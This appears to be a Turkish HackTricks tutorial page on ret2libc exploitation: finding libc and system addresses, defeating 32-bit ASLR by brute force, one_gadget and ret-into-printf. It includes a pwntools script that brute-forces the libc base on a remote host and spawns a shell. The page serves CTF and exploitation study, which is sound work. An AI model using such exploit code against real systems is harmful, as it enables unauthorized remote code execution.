Ret2lib
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Ret2Libc’nin özü, saldırgan tarafından sağlanan shellcode’u stack üzerinde çalıştırmak yerine, zafiyetli bir programın yürütme akışını paylaşılan bir kütüphanedeki bir function’a (örn. system, execve, strcpy) yönlendirmektir. Saldırgan, stack üzerindeki return address’i istenen kütüphane function’ına işaret edecek şekilde değiştiren ve gerekli argümanların çağrı konvansiyonuna göre doğru şekilde ayarlanmasını sağlayan bir payload hazırlar.
Örnek Adımlar (basitleştirilmiş)
- Çağrılacak function’ın adresini (örn. system) ve çağrılacak komutu (örn. /bin/sh) elde et
- Komut string’ini işaret eden ilk argümanı geçirecek ve yürütme akışını function’a yönlendirecek bir ROP chain oluştur
Adresleri Bulma
- Kullanılan
libcmevcut makinedekiyse, belleğe nerede yükleneceğini şu şekilde bulabilirsiniz:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
ASLR’nin libc adresini değiştirip değiştirmediğini kontrol etmek için şunu yapabilirsiniz:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Kullanılan libc’yi bilmek,
systemfonksiyonunun ofsetini şu şekilde bulmayı da mümkün kılar:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Kullanılan libc biliniyorsa,
/bin/shstring’inin offset’ini şu şekilde bulmak mümkündür:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
gdb-peda / GEF Kullanımı
Kullanılan libc biliniyorsa, Peda veya GEF kullanarak system fonksiyonunun, exit fonksiyonunun ve string /bin/sh’in adresini almak da mümkündür :
p system
p exit
find "/bin/sh"
/proc/<PID>/maps Kullanımı
Eğer süreç her seferinde sizinle iletişimde bulunduğunda children oluşturuyorsa (ağ sunucusu) o dosyayı read etmeyi deneyin (muhtemelen root olmanız gerekecek).
Burada süreç içinde libc’nin tam olarak nerede yüklendiğini ve sürecin her bir children’ı için nereye yükleneceğini görebilirsiniz.
.png)
Bu durumda 0xb75dc000 adresine yüklüdür (Bu libc’nin temel adresi olacaktır)
Bilinmeyen libc
Binary’nin yüklediği libc’yi bilmiyor olabilirsiniz (çünkü bulunduğu sunucuya erişiminiz olmayabilir). Bu durumda zafiyeti istismar ederek bazı adresleri leak edip hangi libc kütüphanesinin kullanıldığını bulabilirsiniz:
Ve bunun için bir pwntools şablonunu şu dosyada bulabilirsiniz:
2 offset ile libc’yi tespit etme
https://libc.blukat.me/ sayfasını kontrol edin ve libc içindeki fonksiyonların birkaç adresini kullanarak kullanılan sürümü bulun.
32 bit’te ASLR’yi Bypass Etme
Bu brute-forcing saldırıları sadece 32bit sistemler için kullanışlıdır.
- Eğer exploit local ise, libc’nin base adresini brute-force etmeyi deneyebilirsiniz (32bit sistemler için kullanışlı):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Eğer uzak bir sunucuya saldırıyorsanız,
libcfonksiyonuusleep’in adresini brute-force etmeyi deneyebilirsiniz; örneğin argüman olarak 10 gönderebilirsiniz. Eğer bir noktada sunucu yanıt vermek için 10s daha gecikirse, bu fonksiyonun adresini bulmuşsunuz demektir.
One Gadget
libc içindeki tek bir belirli adrese atlayarak bir shell çalıştırın:
x86 Ret2lib Code Example
Bu örnekte ASLR brute-force code’a entegre edilmiştir ve vulnerable binary uzak bir sunucuda bulunmaktadır:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Code Example
Örneği şu yerden inceleyin:
ARM64 Ret2lib Example
ARM64 durumunda, ret talimatı x30 registerının gösterdiği yere atlar; yığın registerının gösterdiği yere değil. Bu yüzden biraz daha karmaşıktır.
Ayrıca ARM64’te bir talimat ne yapıyorsa onu yapar (talimatların ortasına atlayıp onları yeni talimatlara dönüştürmek mümkün değildir).
Örneği şu yerden inceleyin:
Ret-into-printf (or puts)
Bu, belirli veriyi argüman olarak verip printf/puts çağırarak süreçten bilgi leak edilmesini sağlar. Örneğin GOT’taki puts adresini puts’un çalıştırılmasına koymak, bellekteki puts adresinin leak edilmesine neden olur.
Ret2printf
Bu temelde bir Ret2lib’i printf format strings vulnerability’ine dönüştürme suistimali anlamına gelir; ret2lib’i, onu exploit etmek için printf’i belirli değerlerle çağırmak üzere kullanmak (mantıksız gibi görünür ama mümkün):
Other Examples & references
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, libc’teki bir fonksiyon adresinin leak verilmesi durumunda, one gadget kullanımı
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR etkin ama PIE yok; ilk adım overflow’u canary’nin 0x00 baytına kadar doldurmak, sonra puts’u çağırıp onu leak etmektir. Canary ile GOT’tan puts adresini leak etmek için bir ROP gadgetı oluşturulur ve ardından
system('/bin/sh')çağıran bir ROP gadgetı kullanılır. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bit, ASLR etkin, canary yok, main’de child fonksiyondan kaynaklanan stack overflow. GOT’tan puts adresini leak etmek için puts’u çağıran bir ROP gadgetı ve ardından one gadget çağırma.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bit, PIE yok, canary yok, relro yok, NX. write fonksiyonunu kullanarak write’in (libc) adresini leak eder ve one gadget çağırır.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Stack’ten canary’i leak etmek için bir format string kullanır ve buffer overflow ile GOT’ta bulunan system’i
/bin/shadresiyle çağırır. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit, relro yok, canary yok, NX, PIE. Kötü bir indekslemeyi suistimal ederek stack’ten libc ve heap adreslerini leak eder. Buffer overflow’u suistimal edip
system('/bin/sh')çağıran bir ret2lib yapar (bir kontrolü atlatmak için heap adresi gereklidir).
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


